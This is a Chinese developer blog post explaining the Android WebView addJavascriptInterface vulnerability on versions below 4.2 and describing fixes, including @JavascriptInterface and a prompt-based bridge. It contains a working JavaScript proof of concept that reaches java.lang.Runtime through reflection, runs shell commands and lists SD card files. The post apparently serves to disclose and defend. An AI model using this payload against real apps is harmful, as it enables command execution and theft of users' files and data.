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Android WebView的Js对象注入漏洞解决方案

时间：2014-08-25 17:23:34   收藏：0   阅读：460

最近在做一个项目过程中，发现了一个很严重的安全漏洞，这个漏洞是乌云平台（http://www.wooyun.org）报告出来的。

1，使用场景

我们很多时候要使用WebView来展示一个网页，现在很多应用为了做到服务端可控，很多结果页都是网页的，而不是本地实现，这样做有很多好处，比如界面的改变不需要重新发布新版本，直接在Server端修改就行了。用网页来展示界面，通常情况下都或多或少都与Java代码有交互，比如点击网页上面的一个按钮，我们需要知道这个按钮点击事件，或者我们要调用某个方法，让页面执行某种动作，为了实现这些交互，我们通常都是使用JS来实现，而WebView已经提供了这样的方法，具体用法如下：

[java] view plaincopy

  1. mWebView.getSettings().setJavaScriptEnabled(true);  

  2. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  

我们向WebView注册一个名叫“jsInterface”的对象，然后在JS中可以访问到jsInterface这个对象，就可以调用这个对象的一些方法，最终可以调用到Java代码中，从而实现了JS与Java代码的交互。

我们一起来看看关于addJavascriptInterface方法在Android官网的描述：

简单地说，就是用addJavascriptInterface可能导致不安全，因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个，当JS包含恶意代码时，它可以干任何事情。

2，漏洞描述

通过JavaScript，可以访问当前设备的SD卡上面的任何东西，甚至是联系人信息，短信等。这很恶心吧，嘎嘎。好，我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述：猛点这里

1，WebView添加了JavaScript对象，并且当前应用具有读写SDCard的权限，也就是：android.permission.WRITE_EXTERNAL_STORAGE

2，JS中可以遍历window对象，找到存在“getClass”方法的对象的对象，然后再通过反射的机制，得到Runtime对象，然后调用静态方法来执行一些命令，比如访问文件的命令.

3，再从执行命令后返回的输入流中得到字符串，就可以得到文件名的信息了。然后想干什么就干什么，好危险。核心JS代码如下：

[javascript] view plaincopy

  1. function execute(cmdArgs)  

  2. {  

  3.     for (var obj in window) {  

  4.         if ("getClass" in window[obj]) {  

  5.             alert(obj);  

  6.             return  window[obj].getClass().forName("java.lang.Runtime")  

  7.                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

  8.         }  

  9.     }  

  10. }   


3，漏洞证明

举例一：为了证明这个漏洞，写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页，HTML其代码如下：

[html] view plaincopy

  1. <html>  

  2.   <head>  

  3.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  

  4.     <script>  

  5.       var i=0;  

  6.       function getContents(inputStream)  

  7.       {  

  8.         var contents = ""+i;  

  9.         var b = inputStream.read();  

  10.         var i = 1;  

  11.         while(b != -1) {  

  12.             var bString = String.fromCharCode(b);  

  13.             contents += bString;  

  14.             contents += "\n"  

  15.             b = inputStream.read();  

  16.         }  

  17.         i=i+1;  

  18.         return contents;  

  19.        }  

  20.         

  21.        function execute(cmdArgs)  

  22.        {  

  23.         for (var obj in window) {  

  24.             console.log(obj);  

  25.             if ("getClass" in window[obj]) {  

  26.                 alert(obj);  

  27.                 return window[obj].getClass().forName("java.lang.Runtime").  

  28.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

  29.              }  

  30.          }  

  31.        }   

  32.         

  33.       var p = execute(["ls","/mnt/sdcard/"]);  

  34.       document.write(getContents(p.getInputStream()));  

  35.     </script>  

  36.   

  37.     <script language="javascript">  

  38.       function onButtonClick()   

  39.       {  

  40.         // Call the method of injected object from Android source.  

  41.         var text = jsInterface.onButtonClick("从JS中传递过来的文本！！！");  

  42.         alert(text);  

  43.       }  

  44.   

  45.       function onImageClick()   

  46.       {  

  47.         //Call the method of injected object from Android source.  

  48.         var src = document.getElementById("image").src;  

  49.         var width = document.getElementById("image").width;  

  50.         var height = document.getElementById("image").height;  

  51.   

  52.         // Call the method of injected object from Android source.  

  53.         jsInterface.onImageClick(src, width, height);  

  54.       }  

  55.     </script>  

  56.   </head>  

  57.   

  58.   <body>  

  59.       <p>点击图片把URL传到Java代码</p>  

  60.       <img class="curved_box" id="image"   

  61.          onclick="onImageClick()"  

  62.          width="328"  

  63.          height="185"  

  64.          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"  

  65.          onerror="this.src=‘background_chl.jpg‘"/>  

  66.     </p>  

  67.     <button type="button" onclick="onButtonClick()">与Java代码交互</button>  

  68.   </body>  

  69. </html>  

这段HTML的运行效果如下：

bubuko.com,布布扣

图一：期望运行结果图

上图中，点击按钮后，JS中传递 一段文本到Java代码，显示一下个toast，点击图片后，把图片的URL，width，height传到Java层，也用toast显示出来。

要实现这样的功能，就需要注Java对象。

简单说明一下

1，请看execute()这个方法，它遍历所有window的对象，然后找到包含getClass方法的对象，利用这个对象的类，找到java.lang.Runtime对象，然后调用“getRuntime”静态方法方法得到Runtime的实例，再调用exec()方法来执行某段命令。

2，getContents()方法，从流中读取内容，显示在界面上。

3，关键的代码就是以下两句

[javascript] view plaincopy

  1. return window[obj].getClass().forName("java.lang.Runtime").  

  2.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

Java代码实现如下：

[java] view plaincopy

  1. mWebView = (WebView) findViewById(R.id.webview);  

  2. mWebView.getSettings().setJavaScriptEnabled(true);  

  3. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  

  4. mWebView.loadUrl("file:///android_asset/html/test.html");  

需要添加的权限：

[html] view plaincopy

  1. <uses-permission android:name="android.permission.INTERNET"/>  

  2. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  

  3. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

当点击LOAD菜单后，运行截图如下：（理论上应该出现图一界面）

bubuko.com,布布扣

图二：实际运行结果，列出了SDCard中的文件

举例二：360浏览器也存在这个问题，我测试的系统是android 4.0.2，360浏览器版本是：4.8.7

在浏览器输入框中输入：http://bitkiller.duapp.com/jsobj.html，然后前往，它会出现如下的界面

bubuko.com,布布扣

图三：360浏览器运行结果

说明：其中searchBoxJavaBridge_不是360注入的对象，而是WebView内部注入的，这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后，它会列出当前SDCard上面的所有文件列表，如下图所示

bubuko.com,布布扣

图四：错误结果

4，解决方案

1，Android 4.2以上的系统

在Android 4.2以上的，google作了修正，通过在Java的远程方法上面声明一个@JavascriptInterface，如下面代码：

[java] view plaincopy

  1. class JsObject {  

  2.    @JavascriptInterface  

  3.    public String toString() { return "injectedObject"; }  

  4. }  

  5. webView.addJavascriptInterface(new JsObject(), "injectedObject");  

  6. webView.loadData("", "text/html", null);  

  7. webView.loadUrl("javascript:alert(injectedObject.toString())");  

2，Android 4.2以下的系统

这个问题比较难解决，但也不是不能解决。

首先，我们肯定不能再调用addJavascriptInterface方法了。关于这个问题，最核心的就是要知道JS事件这一个动作，JS与Java进行交互我们知道，有以下几种，比prompt, alert等，这样的动作都会对应到WebChromeClient类中相应的方法，对于prompt，它对应的方法是onJsPrompt方法，这个方法的声明如下：

[java] view plaincopy

  1. public boolean onJsPrompt(WebView view, String url, String message,   

  2.     String defaultValue, JsPromptResult result)  

通过这个方法，JS能把信息（文本）传递到Java，而Java也能把信息（文本）传递到JS中，通知这个思路我们能不能找到解决方案呢？

经过一番尝试与分析，找到一种比较可行的方案，请看下面几个小点：

【1】让JS调用一个Javascript方法，这个方法中是调用prompt方法，通过prompt把JS中的信息传递过来，这些信息应该是我们组合成的一段有意义的文本，可能包含：特定标识，方法名称，参数等。在onJsPrompt方法中，我们去解析传递过来的文本，得到方法名，参数等，再通过反射机制，调用指定的方法，从而调用到Java对象的方法。

【2】关于返回值，可以通过prompt返回回去，这样就可以把Java中方法的处理结果返回到Js中。

【3】我们需要动态生成一段声明Javascript方法的JS脚本，通过loadUrl来加载它，从而注册到html页面中，具体的代码如下：

[javascript] view plaincopy

  1. javascript:(function JsAddJavascriptInterface_(){  

  2.     if (typeof(window.jsInterface)!=‘undefined‘) {      

  3.         console.log(‘window.jsInterface_js_interface_name is exist!!‘);}   

  4.     else {  

  5.         window.jsInterface = {          

  6.             onButtonClick:function(arg0) {   

  7.                 return prompt(‘MyApp:‘+JSON.stringify({obj:‘jsInterface‘,func:‘onButtonClick‘,args:[arg0]}));  

  8.             },  

  9.               

  10.             onImageClick:function(arg0,arg1,arg2) {   

  11.                 prompt(‘MyApp:‘+JSON.stringify({obj:‘jsInterface‘,func:‘onImageClick‘,args:[arg0,arg1,arg2]}));  

  12.             },  

  13.         };  

  14.     }  

  15. }  

  16. )()  

说明：

1，上面代码中的jsInterface就是要注册的对象名，它注册了两个方法，onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)，如果有返回值，就添加上return。

2，prompt中是我们约定的字符串，它包含特定的标识符MyApp:，后面包含了一串JSON字符串，它包含了方法名，参数，对象名等。

3，当JS调用onButtonClick或onImageClick时，就会回调到Java层中的onJsPrompt方法，我们再解析出方法名，参数，对象名，再反射调用方法。
4，window.jsInterface这表示在window上声明了一个Js对象，声明方法的形式是：方法名:function(参数1，参数2) 

5，一些思考

以下是在实现这个解决方案过程中遇到的一些问题和思考：

【1】生成Js方法后，加载这段Js的时机是什么？

刚开始时在当WebView正常加载URL后去加载Js，但发现会存在问题，如果当WebView跳转到下一个页面时，之前加载的Js就可能无效了，所以需要再次加载。这个问题经过尝试，需要在以下几个方法中加载Js，它们是WebChromeClient和WebViewClient的方法：

目前测试了这几个地方，没什么问题，这里我也不能完全确保没有问题。

【2】需要过滤掉Object类的方法

由于通过反射的形式来得到指定对象的方法，他会把基类的方法也会得到，最顶层的基类就是Object，所以我们为了不把getClass方法注入到Js中，所以我们需要把Object的公有方法过滤掉。这里严格说来，应该有一个需要过滤方法的列表。目前我的实现中，需要过滤的方法有：

        "getClass",
        "hashCode",
        "notify",
        "notifyAll",
        "equals",
        "toString",
        "wait",

【3】通过手动loadUrl来加载一段js，这种方式难道js中的对象就不在window中吗？也就是说，通过遍历window的对象，不能找到我们通过loadUrl注入的js对象吗？

关于这个问题，我们的方法是通过Js声明的，通过loadUrl的形式来注入到页面中，其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中，所以，这些Js中的window中虽然包含了我们声明的对象，但是他们并不是Java对象，他们是通过Js语法声明的，所以不存在getClass之类的方法。本质上他们是Js对象。

【4】在Android 3.0以下，系统自己添加了一个叫searchBoxJavaBridge_的Js接口，要解决这个安全问题，我们也需要把这个接口删除，调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。

【5】在实现过程中，我们需要判断系统版本是否在4.2以下，因为在4.2以上，Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。

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原文：http://my.oschina.net/u/1402271/blog/306364

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